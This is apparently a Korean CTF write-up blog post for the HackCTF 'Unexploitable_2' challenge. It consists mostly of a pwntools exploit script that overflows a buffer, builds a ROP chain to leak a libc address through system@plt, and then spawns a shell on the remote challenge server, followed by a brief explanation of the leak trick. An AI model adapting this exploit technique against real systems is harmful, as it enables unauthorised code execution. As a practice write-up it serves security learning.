from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3029)
#p = process('./Unexploitable_2')
e = ELF('./Unexploitable_2')
context.log_level = "debug"
p_r = 0x0000000000400773
main = 0x00000000040068C
payload = 'a' * 0x18
payload += p64(p_r)
payload += p64(e.got['system'])
payload += p64(e.plt['system'])
payload += p64(main)
p.sendline(payload)
p.recvuntil('1: ')
libc = u64(p.recv(6).ljust(8,'\x00')) - 0x0000000000045390
payload = 'a' * 0x18
payload += p64(p_r)
payload += p64(libc + 0x18cd57)
payload += p64(e.plt['system'])
p.sendline(payload)
p.interactive()
system_plt를 알 수 있으니 system 함수로 출력을 해주면 sh 1 : (출력내용) not found 라고 뜨기 때문에 이걸 puts 함수처럼 사용해서 libc 릭을 하고 그 뒤에 libc 안의 sh 문자열을 이용해서 익스
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf]beginner_heap (0) | 2019.07.18 |
---|---|
[hackctf]random (0) | 2019.07.18 |
[hackctf]Unexploitable (0) | 2019.07.16 |
[hackctf]SysROP (0) | 2019.07.15 |
[hackctf] you are silver (0) | 2019.07.15 |